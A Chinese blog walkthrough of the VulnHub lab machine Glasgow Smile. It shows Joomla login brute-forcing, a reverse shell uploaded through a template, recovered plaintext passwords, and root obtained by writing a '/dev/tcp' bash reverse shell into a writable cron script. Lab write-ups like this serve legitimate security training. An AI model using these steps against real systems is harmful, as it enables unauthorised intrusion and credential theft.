Glasgow Smile系列:1

靶机描述

靶机地址:https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip

Description

Title: Glasgow Smile

  • Users: 5

  • Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)

  • Hint: Enumeration is the key.

If you are a newbie in Penetration Testing and afraid of OSCP preparation, do not worry. Glasgow Smile is supposed to be a kind of gym for OSCP machines.
The machine is designed to be as real-life as possible. Anyway, You will find also a bunch of ctf style challanges, it’s important to have some encryption knowledge.
You need to have enough information about Linux enumeration and encryption for privileges escalation.

ABOUT THE VM:

Just download, extract and load the .vmx file in VMware Workstation (tested on VMware Workstation 15.x.x)
The adapter is currently NAT, networking is configured for DHCP and IP will get assigned automatically

CONTACT:

You can contact me on Hack the box (https://www.hackthebox.eu/profile/232477) or by email (mindsflee@hotmail.com) for hints!

Changelog 2020-06-16 - v1.1 2020-06-15 - v1.0

信息收集

利用arp-scan -l命令扫描靶机IP

 
  1. arp-scan -l

图片


使用nmap扫描开放端口

 
  1. nmap -sV -p- 192.168.75.172

图片


访问80端口并进行目录爆破

图片

 
  1. dirsearch -u http://192.168.75.172/

图片

密码爆破

joomla/administrator是一个后台登陆页面

图片

 
  1. 命令:cewl http://192.168.75.172/joomla -m 5 -d 1 -w joomla.txt

  2. -w 写入当前目录的文件中

  3. -d 表示爬取深度,默认是2

  4. -m 表示最小字符长度

图片


生成字典后对joomla登录页面进行爆破

图片

图片

漏洞利用

找到Extensions->Templates->Templates->Beez3 Details and Files上传反弹shell

图片

图片

反弹shell

图片

图片


获得交互式shell

 
  1. python -c 'import pty; pty.spawn("/bin/bash")'

图片


进入到/var/www发现有一个joomla2的目录

图片


查看配置文件发现数据库的账号和密码

图片

连接数据库

图片

图片

图片


rob为此虚拟机的一个用户,将rob的密码进行base64解密

图片

图片

 
  1. ???AllIHaveAreNegativeThoughts???

rob连接ssh

使用rob的密码进行ssh登录

图片


发现一个加密文件

图片

  1. Abnerineedyourhelp文件名断句分析,Abner I need your help像是一封求助信,打开后看到经过了某种编码加密,从一封信的角度来看,对内容做隐藏让我想到ROT13

  2. Howtoberoot听名字就知道,这应该是提升权限的一个关键点,上面第一个文件应该给到了提示

解密

在线解密工具:https://gchq.github.io/CyberChef/

图片

图片

 
  1. abner:I33hope99my0death000makes44more8cents00than0my0life0

abner连接ssh

图片


现在查看一下三个账户剩下的最后一个账户penguin,查找一下有关penguin的信息

 
  1. find / -iname *penguin* 2>/dev/null //找属于penguin的文件

图片


切换到该目录进行查看

图片


将该文件移动到abner用户的主目录下进行解压,否则没有权限

 
  1. cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~

  2. //~表示$HOME即用户根目录

查看解压出来的文件,尝试一下最后的密码是不是penguins的密码

图片

 
  1. scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

图片

提权

利用文件权限配置不当进行提权
当某个进程启动权限为root,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权

图片

pspy64

https://github.com/DominicBreuker/pspy

图片

 
  1. chmod + pspy64

  2. ./pspy64

发现隐藏文件.trash_ol一分钟执行一次,前面发现这个.trash_old是可以编辑的,那就用他来反弹shell

图片

 
  1. bash -c 'bash -i >& /dev/tcp/192.168.75.150/7777 0>&1'

图片


一分钟后,计划任务程序会自动运行.trash_old,最终获取root权限

图片

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值